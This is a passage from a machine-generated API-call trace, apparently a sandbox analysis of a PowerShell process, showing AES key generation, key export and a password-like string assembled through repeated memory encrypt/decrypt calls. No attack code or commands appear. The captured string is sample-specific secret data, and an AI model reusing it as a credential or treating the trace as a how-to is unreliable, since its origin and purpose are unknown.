hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.052] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0242.053] EtwEventActivityIdControl () returned 0x0 [0242.053] EtwEventActivityIdControl () returned 0x0 [0242.053] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.053] EtwEventActivityIdControl () returned 0x0 [0242.053] EtwEventActivityIdControl () returned 0x0 [0242.053] EtwEventActivityIdControl () returned 0x0 [0242.057] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.057] EtwEventActivityIdControl () returned 0x0 [0242.058] EtwEventActivityIdControl () returned 0x0 [0242.058] EtwEventActivityIdControl () returned 0x0 [0242.060] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x372ac8) returned 1 [0242.062] CryptGenKey (in: hProv=0x372ac8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69500) returned 1 [0242.062] CryptContextAddRef (hProv=0x372ac8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.062] CryptExportKey (in: hKey=0x5c69500, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.062] CryptExportKey (in: hKey=0x5c69500, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2468afc, pdwDataLen=0x5a2e8c4 | out: pbData=0x2468afc*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.063] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.063] EtwEventActivityIdControl () returned 0x0 [0242.063] EtwEventActivityIdControl () returned 0x0 [0242.063] EtwEventActivityIdControl () returned 0x0 [0242.064] SysStringLen (param_1="") returned 0x8 [0242.064] SysStringLen (param_1="B") returned 0x8 [0242.065] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.065] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0242.065] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0242.065] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.065] SysStringLen (param_1="Br") returned 0x8 [0242.065] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.065] SysStringLen (param_1="⍷읥䓥\⋝\秚獼욚") returned 0x8 [0242.065] SysStringLen (param_1="⍷읥䓥\⋝\秚獼욚") returned 0x8 [0242.065] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.065] SysStringLen (param_1="Br4") returned 0x8 [0242.065] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.066] SysStringLen (param_1="࿪ꆒ㰔㮺뻃ሹ㒇᷶") returned 0x8 [0242.066] SysStringLen (param_1="࿪ꆒ㰔㮺뻃ሹ㒇᷶") returned 0x8 [0242.066] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.066] SysStringLen (param_1="Br4e") returned 0x8 [0242.066] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.066] SysStringLen (param_1="廨囧紖\xfddbꋿṁ") returned 0x8 [0242.066] SysStringLen (param_1="廨囧紖\xfddbꋿṁ") returned 0x8 [0242.066] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.066] SysStringLen (param_1="Br4e0") returned 0x8 [0242.066] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.066] SysStringLen (param_1="塉⊴⿛븠뮐晴主") returned 0x8 [0242.066] SysStringLen (param_1="塉⊴⿛븠뮐晴主") returned 0x8 [0242.066] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.067] SysStringLen (param_1="Br4e0b") returned 0x8 [0242.067] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.067] SysStringLen (param_1="虜㫨즯圧覇걻醑瘐") returned 0x8 [0242.067] SysStringLen (param_1="虜㫨즯圧覇걻醑瘐") returned 0x8 [0242.067] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.067] SysStringLen (param_1="Br4e0bi") returned 0x8 [0242.067] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.067] SysStringLen (param_1="啳事釒쑥郺킯逛䫃") returned 0x8 [0242.067] SysStringLen (param_1="啳事釒쑥郺킯逛䫃") returned 0x8 [0242.067] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.067] SysStringLen (param_1="Br4e0biX") returned 0x8 [0242.067] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.067] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾") returned 0x8 [0242.068] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾") returned 0x8 [0242.068] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾") returned 0x8 [0242.068] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾") returned 0x10 [0242.068] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.068] SysStringLen (param_1="Br4e0biXa袰鵅螁쬿紑逋祅") returned 0x10 [0242.069] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.069] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾᪉K쵿㱚鯙뀵眼") returned 0x10 [0242.069] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾᪉K쵿㱚鯙뀵眼") returned 0x10 [0242.069] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.069] SysStringLen (param_1="Br4e0biXaI鵅螁쬿紑逋祅") returned 0x10 [0242.069] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.069] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾딵హ뽮ᐁ藗㈂痙") returned 0x10 [0242.069] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾딵హ뽮ᐁ藗㈂痙") returned 0x10 [0242.069] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.069] SysStringLen (param_1="Br4e0biXaIL螁쬿紑逋祅") returned 0x10 [0242.069] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.069] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾瞼쌃夏֔쥡虋毧") returned 0x10 [0242.069] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾瞼쌃夏֔쥡虋毧") returned 0x10 [0242.069] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.070] SysStringLen (param_1="Br4e0biXaILb쬿紑逋祅") returned 0x10 [0242.070] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.070] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾跇ᤣ臐Ỡ\샛⩰⊮) returned 0x10 [0242.070] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾跇ᤣ臐Ỡ\샛⩰⊮) returned 0x10 [0242.070] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.070] SysStringLen (param_1="Br4e0biXaILbQ紑逋祅") returned 0x10 [0242.070] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.071] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾慆㣡顜吟⽋鞽泟獄") returned 0x10 [0242.071] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾慆㣡顜吟⽋鞽泟獄") returned 0x10 [0242.071] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.072] SysStringLen (param_1="Br4e0biXaILbQF逋祅") returned 0x10 [0242.072] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.072] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ᓿ룸캥䴟ｚᐕ悜练") returned 0x10 [0242.072] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ᓿ룸캥䴟ｚᐕ悜练") returned 0x10 [0242.072] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.072] SysStringLen (param_1="Br4e0biXaILbQFM祅") returned 0x10 [0242.072] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.072] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾뛨臘ࣨ墳戇㹤ᱵ໎") returned 0x10 [0242.072] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾뛨臘ࣨ墳戇㹤ᱵ໎") returned 0x10 [0242.072] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.072] SysStringLen (param_1="Br4e0biXaILbQFMC") returned 0x10 [0242.072] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.072] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟") returned 0x10 [0242.073] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟") returned 0x10 [0242.073] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟") returned 0x10 [0242.073] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟") returned 0x18 [0242.073] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.073] SysStringLen (param_1="Br4e0biXaILbQFMCu넠㹲㵏㮒〘໤") returned 0x18 [0242.073] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.074] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟⍇貮됝偌໼ପ㱬") returned 0x18 [0242.074] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟⍇貮됝偌໼ପ㱬") returned 0x18 [0242.074] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.074] SysStringLen (param_1="Br4e0biXaILbQFMCuY넠㹲㵏㮒〘໤") returned 0x18 [0242.074] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.074] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟犜㗟隿ᫎ卩麚᯴") returned 0x18 [0242.074] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟犜㗟隿ᫎ卩麚᯴") returned 0x18 [0242.074] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.074] SysStringLen (param_1="Br4e0biXaILbQFMCuYi㹲㵏㮒〘໤") returned 0x18 [0242.074] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.074] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟⦡⥢\櫜ꓢ\䏞຿⼕") returned 0x18 [0242.074] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟⦡⥢\櫜ꓢ\䏞຿⼕") returned 0x18 [0242.074] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.075] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/㵏㮒〘໤") returned 0x18 [0242.075] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.075] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟鲒售햧੃Yᜰ篟昡") returned 0x18 [0242.075] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟鲒售햧੃Yᜰ篟昡") returned 0x18 [0242.075] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.075] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/c㮒〘໤") returned 0x18 [0242.075] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.075] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟炛Ⴔ蹦㺖룟ꏱ痯Ỏ") returned 0x18 [0242.075] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟炛Ⴔ蹦㺖룟ꏱ痯Ỏ") returned 0x18 [0242.075] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.075] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ct〘໤") returned 0x18 [0242.075] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.075] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟츔뜛默耇䶰뢛囒뜰") returned 0x18 [0242.075] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟츔뜛默耇䶰뢛囒뜰") returned 0x18 [0242.075] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.076] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctm໤") returned 0x18 [0242.076] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.076] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟㔝跊ꮥ쟱\⃛֠ꑯ∉) returned 0x18 [0242.076] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟㔝跊ꮥ쟱\⃛֠ꑯ∉) returned 0x18 [0242.076] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.076] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmR") returned 0x18 [0242.076] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.076] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍⊱) returned 0x18 [0242.076] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍⊱) returned 0x18 [0242.077] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍⊱) returned 0x18 [0242.077] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍⊱) returned 0x20 [0242.077] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.077] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRY힄ἇ瘉햗橙㻷籡") returned 0x20 [0242.077] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.077] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍璱䐌슒\旽０") returned 0x20 [0242.077] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍璱䐌슒\旽０") returned 0x20 [0242.077] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.077] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYLἇ瘉햗橙㻷籡") returned 0x20 [0242.077] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.078] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍憱̬쮊ᚽ跒㊍滰븥≬) returned 0x20 [0242.078] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍憱̬쮊ᚽ跒㊍滰븥≬) returned 0x20 [0242.078] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.078] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8瘉햗橙㻷籡") returned 0x20 [0242.078] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.078] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍잱㕘ઔꏋ夿ᾲ蜡≟) returned 0x20 [0242.078] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍잱㕘ઔꏋ夿ᾲ蜡≟) returned 0x20 [0242.078] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.078] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8c햗橙㻷籡") returned 0x20 [0242.078] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.078] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍辱폅罍ꯉ订芞∮) returned 0x20 [0242.078] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍辱폅罍ꯉ订芞∮) returned 0x20 [0242.078] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.079] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw橙㻷籡") returned 0x20 [0242.079] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.079] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍熱㮠㶀腇夰众鮫⁋≝) returned 0x20 [0242.079] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍熱㮠㶀腇夰众鮫⁋≝) returned 0x20 [0242.079] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.079] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4㻷籡") returned 0x20 [0242.079] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.079] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍隱ᨘ躑꿸皧䆤㾘⊃) returned 0x20 [0242.079] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍隱ᨘ躑꿸皧䆤㾘⊃) returned 0x20 [0242.079] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.079] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4p籡") returned 0x20 [0242.079] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.079] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍Ꮁ诓\ꏟⲛ턲ꂙ") returned 0x20 [0242.080] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍Ꮁ诓\ꏟⲛ턲ꂙ") returned 0x20 [0242.080] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.080] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pG") returned 0x20 [0242.080] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.080] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ∴) returned 0x20 [0242.080] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ∴) returned 0x20 [0242.080] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ∴) returned 0x20 [0242.080] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ∴) returned 0x28 [0242.080] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.081] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGG㳽譨듿寵蘆") returned 0x28 [0242.081] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.081] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ㸴㰗ᨑ୎찹㣆薩≩) returned 0x28 [0242.081] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ㸴㰗ᨑ୎찹㣆薩≩) returned 0x28 [0242.081] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.081] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX譨듿寵蘆") returned 0x28 [0242.081] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.081] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟＴව촏⩊髵쟈⋁) returned 0x28 [0242.081] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟＴව촏⩊髵쟈⋁) returned 0x28 [0242.081] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.081] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX4듿寵蘆") returned 0x28 [0242.081] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.082] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ먴↭Ꮪ啪ോⲆ핊⋌) returned 0x28 [0242.082] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ먴↭Ꮪ啪ോⲆ핊⋌) returned 0x28 [0242.082] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.082] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43寵蘆") returned 0x28 [0242.082] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.082] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟఴ䉮炏벩笠촱듪ና∽) returned 0x28 [0242.082] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟఴ䉮炏벩笠촱듪ና∽) returned 0x28 [0242.082] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.082] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43O寵蘆") returned 0x28 [0242.082] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.082] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ佶ꃃ覑⅚☔帯燐⊮) returned 0x28 [0242.082] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ佶ꃃ覑⅚☔帯燐⊮) returned 0x28 [0242.082] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.083] SysStringLen 